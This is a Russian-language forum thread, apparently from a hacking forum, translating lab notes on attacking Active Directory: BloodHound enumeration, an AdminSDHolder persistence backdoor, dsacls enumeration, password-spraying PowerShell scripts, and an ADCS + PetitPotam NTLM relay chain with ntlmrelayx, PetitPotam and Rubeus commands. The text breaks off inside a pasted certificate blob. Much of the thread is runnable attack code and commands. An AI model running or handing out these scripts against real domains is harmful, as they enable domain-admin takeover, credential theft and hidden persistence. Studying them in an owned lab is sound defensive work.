• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Злоупотребление Active Directory и Kerberos

18. BloodHound с Kali Linux: 101

Эта лаба предназначена для того, чтобы увидеть, что нужно для установки BloodHound на Kali Linux, а также кратко изучить пользовательский интерфейс, понять, что он показывает и как он может помочь пентестеру/редтимеру повысить привилегии для достижения своих целей.

Что такое BloodHound

BloodHound — это одностраничное веб-приложение Javascript, построенно поверх http://linkurio.us/, скомпилированное с помощью http://electron.atom.io/, с базой данных https://neo4j.com/ , и использующее PowerShell

BloodHound использует теорию графов для выявления скрытых и часто непреднамеренных взаимосвязей в среде Active Directory. Злоумышленники могут использовать BloodHound, чтобы легко идентифицировать очень сложные пути атаки, которые в противном случае было бы невозможно быстро идентифицировать. Защитники могут использовать BloodHound для выявления и устранения тех же путей атаки. И синие, и красные команды могут использовать BloodHound, чтобы легко получить более глубокое понимание отношений привилегий в среде Active Directory.

Установка BloodHound

Удивительно легко установить Bloodhound в наши дни из Kali Linux:

apt-get install bloodhound

В процессе установки также будет установлено решение для управления базой данных neo4j, необходимое для BloodHound, которое необходимо будет настроить.

Настройка BloodHound

После завершения установки нам нужно настроить neo4j — в основном просто изменить пароли по умолчанию, поэтому давайте запустим:

neo4j console

1660542373632.png


и перейдите по адресу http://localhost:7474/, чтобы настроить учетную запись пользователя БД, изменив пароли по умолчанию с neo4j:neo4j на что-то другое — эти учетные данные понадобятся нам при запуске самого BloodHound.

Запуск BloodHound

bloodhound


Войдите в систему с ранее установленными учетными данными из neo4j:

1660542391852.png


Перечисление и прием данных

BloodHound — это инструмент визуализации данных, то есть без каких-либо данных он бесполезен. BloodHound очень хорошо визуализирует отношения объектов Active Directory и различные разрешения между этими отношениями.

Чтобы BloodHound творил чудеса, нам нужно перечислить домен-жертву. Процесс перечисления создает файл JSON, описывающий различные отношения и разрешения между объектами AD, как упоминалось ранее, который затем можно импортировать в BloodHound. Как только полученный файл JSON будет загружен/импортирован в BloodHound, он позволит нам визуально увидеть способы (если таковые имеются) того, как Active Directory и ее различные объекты могут (ab) использоваться для повышения привилегий, в идеале до администратора домена.

SharpHound

Инструмент, который выполняет вышеупомянутое перечисление AD, называется https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors.

Я попытался запустить SharpHound из учетной записи, которая не была членом домена, поэтому я получил следующее сообщение:

1660542406974.png


Если вы находитесь на машине, которая является членом, но вы прошли аутентификацию как локальный пользователь, но имеете учетные данные для пользователя домена, получите оболочку для этого пользователя следующим образом:

runas /user:spotless@offense powershell

// if machine is not a domain member
runas /netonly /user:spotless@offense powershell


Теперь мы можем перейти к перечислению AD:

. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -JSONFolder "c:\experiments\bloodhound"


Приведенная выше команда создаст ранее упомянутый файл JSON, хотя и заархивированный:

1660542431886.png


Теперь мы можем взять файл .zip, созданный Invoke-BloodHound, и просто перетащить его в интерфейс BloodHound для приема. После завершения приема мы можем поиграть с предварительно подготовленными запросами, которые фактически визуализируют предоставленные данные:

1660542444080.png


Выполнение

Как уже упоминалось, после приема данных мы можем поиграть со встроенными запросами, чтобы найти такие вещи, как All Domain Admins, Shortest Path to Domain Admins и тому подобное, которые могут помочь нам как злоумышленнику повысить привилегии и скомпрометировать все домены/ лес.

Пример #1: Пользователь для обмена доверенной подсистемой

Надуманный и, возможно, не совсем реалистичный пример, но все же - ниже показано, как злоумышленник может получить привилегии группы доверенных подсистем Exchange, находясь в сети жертвы как безупречный пользователь:

1660542461056.png


Вышеупомянутое указывает, что offense\spotless является администратором для DC01$ (можно использовать mimikatz для передачи хэша учетной записи машины для получения расширенной оболочки), где наблюдается сеанс offense\administrator (дамп lsass или олицетворение токена для администратора), и таким образом получают права группы доверенных подсистем Exchange!

Что такое доверенная подсистема Exchange?

net group "Exchange Trusted Subsystem"
Group name Exchange Trusted Subsystem
Comment This group contains Exchange servers that run Exchange cmdlets on behalf of users via the management serv
ice. Its members have permission to read and modify all Exchange configuration, as well as user accounts and groups. Thi
s group should not be deleted.

Пример № 2: Пользователь для администратора домена через AdminTo и MemberOf


Ниже показано, как пользователь spotless может получить привилегии администратора домена.

Как и в предыдущем примере, spotless является администратором DC01$, где установлен сеанс администратора. Если этот сеанс скомпрометирован (это так), он делает пользователя spotless администратором домена:

1660542482918.png


Пример № 3: Пользователь к администратору домена через Weak ACE

Ниже показано, как пользователь spotless может стать администратором домена с помощью Abusing Active Directory ACLs/ACEs https://www.ired.team/offensive-sec...ctive-directory-acls-aces#genericall-on-group указанной группы. В этом конкретном примере пользователь spotless может по существу добавить себя в группу администраторов домена с помощью net group "domain admins" spotless /add /domain , и это гейм овер:

1660542493438.png


См. мою предыдущую лабораторную работу, в которой исследуются некоторые способы ручного использования и злоупотребления неправильной настройкой Active Directory ACL/ACE привилегий, таких как AddMember, GenericWrite, GenericAll и подобных:

 
19. Бэкдор AdminSDHolder для постоянства

AdminSDHolder


AdminSDHolder — это специальный контейнер AD с некоторыми разрешениями безопасности по умолчанию, который используется в качестве шаблона для защищенных учетных записей и групп AD (таких как администраторы домена, администраторы предприятия и т. д.), чтобы предотвратить их случайные и непреднамеренные изменения и обеспечить их безопасность.

После того, как вы снова получили привилегии администратора домена, контейнер AdminSDHolder может быть использован для злоупотреблений путем его бэкдора, предоставив вашему пользователю привилегии GenericAll, что фактически делает этого пользователя администратором домена.

Выполнение

Бэкдоринг контейнера AdminSDHolder делается путем добавления ACL, который предоставляет spotless права GenericAll для группы администраторов домена:

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName spotless -Verbose -Rights All


На самом деле что происходит с контейнером — это то что ACL безопасности обновляются, и Spotless получает все привилегии:

1660543531022.png


Через 60+ минут изменения будут распространяться автоматически, но если вы хотите принудительно (если вы тестируете это в своих лаборах), вы можете сделать это через ldp.exe, изменив DN следующим образом:

1660543541317.png


Теперь подтверждаем, что у пользователя spotless есть привилегии GenericAll в отношении группы администраторов домена:

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}


Теперь мы можем вернуться к администраторам домена в любое время, когда захотим:

1660543561586.png


По сути, нам даже не нужно быть частью группы DA, у нас по-прежнему есть полный доступ к DC:

1660543570963.png
 
20. Перечисление Active Directory с модулем AD без прав RSAT или администратора

В этом лабораторном занятии показано, как можно использовать Powershell для перечисления Active Directory с модулем Powershell Active Directory на присоединенном к домену компьютере, на котором не установлен набор средств удаленного администрирования сервера (RSAT). Для установки RSAT требуются права администратора, что делает модуль AD Powershell доступным, и в этом лабораторном занятии показано, как обойти это препятствие.

Выполнение

Секрет запуска команд перечисления AD из модуля AD Powershell в системе без установленного RSAT заключается в том, что DLL находится в папке C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management в системе, в которой установлен RSAT:

1660543706970.png


Это означает, что мы можем просто взять DLL из системы с RSAT и поместить ее в систему, из которой мы хотим выполнить перечисление (в которой не установлен RSAT), и просто импортировать эту DLL как модуль:

Import-Module .\Microsoft.ActiveDirectory.Management.dll


Обратите внимание, что до того, как мы импортируем модуль, Get-Command get-adcom* ничего не возвращает, но это меняется после того, как мы импортируем модуль:

1660543726343.png


Как упоминалось ранее, для этого не требуются права администратора:

1660543738440.png


Скачать Management.DLL

https://2603957456-files.gitbook.io...ia&token=dca25388-9b28-4744-9333-462445d65ab6
 
21. Перечисление разрешений объекта AD с помощью dsacls

Можно использовать собственный двоичный файл Windows (в дополнение к командлету PowerShell Get-Acl) для перечисления разрешений безопасности объектов Active Directory. Представляющий интерес двоичный файл — dsacls.exe.

Dsacls позволяет нам отображать или изменять разрешения (ACLS) доменных служб Active Directory (AD DS).

Выполнение

Давайте проверим, есть ли у пользователя spot какие-либо специальные разрешения на объект AD пользователя spotless :

dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot"


Ничего полезного:

1660590569218.png


Давайте дадим пользователю права на сброс пароля и изменение пароля для объекта AD spotless :

1660590578232.png


...и повторим команду:

dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot"

1660590598320.png


Полный контроль


Здесь следует искать все известные (и недопустимые) права доступа к объектам AD. Один из них ПОЛНЫЙ КОНТРОЛЬ:

dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "full control"


1660590634821.png


Добавить/удалить себя в качестве участника

dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" | select-string "spotless"


1660590657491.png


WriteProperty/ChangeOwnerShip

1660590667191.png


Перечисление разрешений объекта AD таким образом не имеет удобного формата, который можно передать по конвейеру между командами powershell, но об этом все же следует помнить, если у вас нет возможности использовать такие инструменты, как powerview или командлеты PowerShell ActiveDirectory, или если вы пытаюсь LOL.

Для более хороших привилегий, которыми можно злоупотреблять:


Password Spraying Anyone?

В качестве примечания: двоичный файл dsacls можно использовать для распыления пароля LDAP, поскольку он позволяет нам привязываться к сеансу LDAP с указанным именем пользователя и паролем:

dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:spotless@offense.local /passwd:1234567

1660590711070.png


Грязная идея POC для распыления пароля:


Код:
$domain = ((cmd /c set u)[-3] -split "=")[-1]
$pdc = ((nltest.exe /dcname:$domain) -split "\\\\")[1]
$lockoutBadPwdCount = ((net accounts /domain)[7] -split ":" -replace " ","")[1]
$password = "123456"

# (Get-Content users.txt)
"krbtgt","spotless" | % {
    $badPwdCount = Get-ADObject -SearchBase "cn=$_,cn=users,dc=$domain,dc=local" -Filter * -Properties badpwdcount -Server $pdc | Select-Object -ExpandProperty badpwdcount
    if ($badPwdCount -lt $lockoutBadPwdCount - 3) {
        $isInvalid = dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:$_@offense.local /passwd:$password | select-string -pattern "Invalid Credentials"
        if ($isInvalid -match "Invalid") {
            Write-Host "[-] Invalid Credentials for $_ : $password" -foreground red
        } else {
            Write-Host "[+] Working Credentials for $_ : $password" -foreground green
        }       
    }
}

1660590733311.png
 

Вложения

  • 1660590618725.png
    1660590618725.png
    13.1 КБ · Просмотры: 15
22. Распыление пароля Active Directory

В этом лабораторном занятии исследуются способы распыления паролей на учетные записи Active Directory.

Invoke-DomainSpray

Get-ADUser -Properties name -Filter * | Select-Object -ExpandProperty name | Out-File users.txt
type users.txt

1660590887281.png


Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose

1660590903643.png


Распыление с помощью dsacls


Пока я возился с dsacls для перечисления разрешений объектов AD я заметил, что можно попытаться выполнить привязку к LDAP, используя определенные учетные данные AD, поэтому возник грязный POC распыляющий пароль AD:

Код:
$domain = ((cmd /c set u)[-3] -split "=")[-1]
$pdc = ((nltest.exe /dcname:$domain) -split "\\\\")[1]
$lockoutBadPwdCount = ((net accounts /domain)[7] -split ":" -replace " ","")[1]
$password = "123456"

# (Get-Content users.txt)
"krbtgt","spotless" | % {
    $badPwdCount = Get-ADObject -SearchBase "cn=$_,cn=users,dc=$domain,dc=local" -Filter * -Properties badpwdcount -Server $pdc | Select-Object -ExpandProperty badpwdcount
    if ($badPwdCount -lt $lockoutBadPwdCount - 3) {
        $isInvalid = dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:$_@offense.local /passwd:$password | select-string -pattern "Invalid Credentials"
        if ($isInvalid -match "Invalid") {
            Write-Host "[-] Invalid Credentials for $_ : $password" -foreground red
        } else {
            Write-Host "[+] Working Credentials for $_ : $password" -foreground green
        }       
    }
}

1660590926835.png


Распыление с помощью Start-Process

Как и в случае с dsacls, можно распылять пароли с помощью командлета Start-Process и с помощью командлетов PowerView:

Код:
# will spray only users that currently have 0 bad password attempts
# dependency - powerview

function Get-BadPasswordCount {
    param(
        $username = "username",
        $domain = "offense.local"
    )
    $pdc = (get-netdomain -domain $domain).PdcRoleOwner
    $badPwdCount = (Get-NetUser $username -Domain $domain -DomainController $pdc.name).badpwdcount
    return $badPwdCount
}

$users = Get-netuser -properties samaccountname | Select-Object -ExpandProperty samaccountname
$domain = "offense.local"
$password = "123456"

Write-Host $users.Count users supplied; $users | % {
    $badPasswordCount = Get-BadPasswordCount -username $_ -Domain $domain
    if ($badPasswordCount -lt 0) {
        Write-Host Spraying : -NoNewline; Write-host -ForegroundColor Green " $_"
        $credentials = New-Object System.Management.Automation.PSCredential -ArgumentList @("$domain\$_",(ConvertTo-SecureString -String $password -AsPlainText -Force))
        Start-Process cmd -Credential ($credentials)
    } else {
        Write-Host "Ignoring $_ with $badPasswordCount badPwdCount" -ForegroundColor Red
    }
}

Наслаждаемся шеллами :

1660590952116.png
 
23. Active Directory с Hyper-V и PowerShell.

Ниже приведены некоторые заметки с парой простых сценариев Powershell, которые я использую для:

- Повышение компьютера до контроллера домена
- Создния домен Active Directory (AD) offense.local
- Присоединения компьютер к домену offense.local
- Создания пользователей в домене offense.local

Сценарии не предназначены для полной автоматизации построения лаборатории Active Directory, скорее они служат шпаргалками, которые в большинстве случаев удовлетворяют большинство моих потребностей.

Я использую Hyper-V для запуска своих виртуальных машин (ВМ), которые я установил вручную:
- WS01 — Windows 10
- DC01 — Windows Server 2019

1660684313476.png


Повышение уровня компьютера до контроллера домена

Приведенный ниже сценарий устанавливает сеанс удаленного взаимодействия Powershell с виртуальной машиной DC01, используя учетные данные администратора: 123456 (я установил этот пароль на DC01 вручную перед запуском этого сценария) и выполняет следующие действия:

- Настройка IP/DNS-адресов. Контроллер домена DC01 будет иметь статический IP-адрес 10.0.0.6;
- Устанавливает службы AD и инструменты управления;
- Создает домен обиду.local.

Возможно, вам придется изменить пароли в зависимости от вашей политики паролей.

$plainPassword = "123456"
$password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("administrator", $password)

$session = New-PSSession -Vmname dc01 -Credential $credential -Verbose

$code = {
$plainPassword = "123456"
$password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("administrator", $password)

netsh int ip set address "ethernet" static 10.0.0.6 255.255.255.0 10.0.0.6 1
netsh int ip set dns "ethernet" static 10.0.0.6 primary

$domainName = "offense"
$domain = "$domainName.local"

Write-Host "Installing management tools"
Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell,RSAT-AD-AdminCenter

Write-Host "Deploying Active Directory Domain..."
Install-WindowsFeature AD-domain-services, DNS -IncludeAllSubFeature -IncludeManagementTools -Restart
Import-Module ADDSDeployment
Install-ADDSForest `
-SafeModeAdministratorPassword $password `
-CreateDnsDelegation:$false `
-DatabasePath "C:\Windows\NTDS" `
-DomainMode "7" `
-DomainName $domain `
-DomainNetbiosName $domainName `
-ForestMode "7" `
-InstallDns:$true `
-LogPath "C:\Windows\NTDS" `
-NoRebootOnCompletion:$true `
-SysvolPath "C:\Windows\SYSVOL" `
-Force:$true

Restart-Computer -Force -Verbose
}

Invoke-Command -Session $session -ScriptBlock $code

1660684343051.png


Присоединение компьютера к домену

Приведенный ниже сценарий устанавливает сеанс удаленного взаимодействия Powershell с виртуальной машиной WS01, используя учетные данные mantvydas:123456 (я установил этот пароль на WS01 вручную перед запуском этого сценария) и выполняет следующие действия:

- Настраивает параметры IP/DNS - рабочая станция WS01 будет иметь статический IP 10.0.0.7 и DNS, указывающий на 10.0.0.6, который является нашим DC01;

- Добавляет компьютер в домен.

$plainPassword = "123456"
$password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("mantvydas", $password)

$session = New-PSSession -Vmname ws01 -Credential $credential -Verbose

$code = {
netsh int ip set address "ethernet" static 10.0.0.7 255.255.255.0 10.0.0.6 1
netsh int ip set dns "ethernet" static 10.0.0.6 primary

$plainPassword = "123456"
$password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("administrator", $password)
Add-computer -computername ws01 -domain offense.local -domaincredential $credential -Verbose -Restart
}

Invoke-Command -Session $session -ScriptBlock $code

Создание пользователей домена

Сценарий ниже устанавливает сеанс удаленного взаимодействия Powershell с виртуальной машиной DC01 и выполняет следующие действия:

- Создает несколько пользователей домена
- Устанавливает свои пароли на 123456

$plainPassword = "123456"
$password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("offense\administrator", $password)

$session = New-PSSession -Vmname dc01 -Credential $credential -Verbose

$code = {
$plainPassword = "123456"
$password = $plainPassword | ConvertTo-SecureString -asPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("offense\administrator", $password)

# Create users
"spotless", "sandy", "bob" | % { New-ADUser $_ }

# Reset users' passwords
Get-ADUser -Filter * -Properties samaccountname | select -exp samaccountname | ? {$_ -notmatch "krb|guest"} | ForEach-Object { Write-host Changing password for $_ to $plainPassword; net user $_ $plainPassword | out-null }
}

Invoke-Command -Session $session -ScriptBlock $code

Перед запуском этого скрипта необходимо вручную обновить политику паролей на DC01:

- Минимальная длина пароля: 0
- Пароль должен соответствовать требованиям сложности: отключен

1660684383344.png


Не забудьте запустить gpupdate.exe на DC01, чтобы новая политика паролей вступила в силу. Этот шаг обязателен перед запуском скрипта Create-Users.ps1, иначе пароли пользователей не будут изменены.

Настройка Kali в режиме расширенного сеанса

Выполните следующее в kali:

sudo git clone https://github.com/mimura1133/linux-vm-tools /opt/linux-vm-tools
sudo chmod 0755 /opt/linux-vm-tools/kali/2020.x/install.sh
sudo /opt/linux-vm-tools/kali/2020.x/install.sh
sudo reboot -f


Выполните приведенную ниже команду на хост-ОС с Hyper V, на которой размещена ваша виртуальная машина kali:

Set-VM "KALI02" -EnhancedSessionTransportType HVSocket
 
24. ADCS + PetitPotam NTLM Relay: получение хэша krbtgt с сертификатом машины контроллера домена

Это краткое практическое занятие для ознакомления с технологией Active Directory Certificate Services (ADCS) + PetitPotam + NLTM Relay, которая позволяет злоумышленникам, если служба ADCS настроена неправильно (что происходит по умолчанию), эффективно повышать привилегии от пользователя домена с низким уровнем привилегий до доменного админа.

Ниже приведены некоторые условия, делающие среду AD уязвимой для атак ADCS + NTLM relay:

- ADCS настроен на разрешение проверки подлинности NTLM;
- Аутентификация NTLM не защищена подписью EPA или SMB;
- ADCS запускает любую из этих служб:
* Веб-регистрация центра сертификации
* Веб-служба регистрации сертификатов

Обзор

Ниже представлен общий обзор того, как работает атака:

1. Закрепиться в сети AD с неправильно настроенным экземпляром ADCS;

2. Настройте прослушиватель ретрансляции NTLM на устройстве, которым вы управляете, чтобы входящие проверки подлинности передавались неправильно настроенным ADCS;

3. Принудительно проверяйте подлинность целевого контроллера домена (используя трюк с PetitPotam или PrintSpooler) на устройстве, на котором работает ретранслятор NTLM;

4. Целевой контроллер домена пытается пройти аутентификацию на ретрансляторе NTLM;

5. Ретранслятор NTLM получает аутентификацию учетной записи компьютера DC$ и передает ее в ADCS;

6. ADCS предоставляет сертификат для учетной записи целевого компьютера DC$;

7. Используйте сертификат учетной записи компьютера целевого контроллера домена, чтобы запросить его Kerberos TGT;

8. Используйте учетную запись компьютера целевого контроллера домена TGT для выполнения DCSync https://www.ired.team/offensive-sec...ord-hashes-from-domain-controller-with-dcsync и получите NTLM-хэш krbtgt;

9. Используйте NTLM-хэш krbtgt для создания золотого билет https://www.ired.team/offensive-sec...ectory-kerberos-abuse/kerberos-golden-tickets , который позволяют вам выдавать себя за любого пользователя домена, включая администратора домена.

Ниже на графике визуализирована концепция:

1660701655122.png


Захват домена

Лабораторная установка


Эта часть лабораторной работы настроена со следующими компьютерами и серверами:

- 10.0.0.5 - Kali box с NTLM relay;

- 10.0.0.6 — целевой контроллер домена DC01. Это целевой контроллер домена, который мы заставим пройти аутентификацию на нашем ретрансляторе NTLM на 10.0.0.5;

- 10.0.0.10 — Центр сертификации (CA01). Именно сюда наш ретранслятор NTLM 10.0.0.5 будет перенаправлять аутентификацию DC01;

- 10.0.0.7 — рабочая версия Windows (WS01). Это начальная точка опоры в сети, и это машина, которая заставит DC01 аутентифицироваться на нашем ретрансляторе NTLM на 10.0.0.5;

Установка инструментов

Давайте возьмем версию impacket, в которой реализована атака ADCS, и проверим правую ветку:

git clone https://github.com/ExAndroidDev/impacket.git
cd impacket
git checkout ntlmrelayx-adcs-attack

1660701685000.png


Настройка виртуальной среды


Подготовьте виртуальную среду Python для impacket. Начните с установки пакета виртуальной среды:

apt install python3-venv

1660701701791.png


Создайте и активируйте новую виртуальную среду Python под названием impacket:

python3 -m venv impacket
source impacket/bin/activate

1660701717564.png


Давайте установим все зависимости impacket:

pip install .

1660701732468.png


Поиск центра сертификации


На WS01 мы можем использовать Windows LOLBIN certutil.exe, чтобы найти серверы ADCS в домене:

1660701742049.png


Мы подтверждаем, что в нашем домене CA01 является нашим центром сертификации, которому мы будем передавать аутентификацию DC01$.

Настройка ретрансляции NTLM

В поле Kali с адресом 10.0.0.5 давайте настроим ретранслятор NTLM для пересылки входящих аутентификаций от DC01$ к CA01 или, точнее, к одной из его конечных точек HTTP для регистрации сертификата http://ca01/certsrv/certfnsh.asp следующим образом:

examples/ntlmrelayx.py -t http://ca01/certsrv/certfnsh.asp -smb2support --adcs

1660701869810.png


Принудительная проверка подлинности DC01 на ретрансляторе NTLM

Из WS01 давайте заставим DC01 аутентифицироваться на нашем ретрансляторе NTLM по адресу 10.0.0.5, выполнив

.\PetitPotam.exe 10.0.0.5 dc01


1660701886957.png


Выше показано, как:

- DC01 был принудительно авторизован на 10.0.0.5;

- 10.0.0.5 передал аутентификацию DC01$ в CA01;

- CA01 выдал сертификат для учетной записи компьютера DC01$.

Запрос DC01$ TGT

На WS01 теперь мы можем использовать rubeus для запроса TGT Kerberos для учетной записи компьютера DC01$ следующим образом:

.\Rubeus.exe asktgt /outfile:kirbi /user:dc01$ /ptt /certificate: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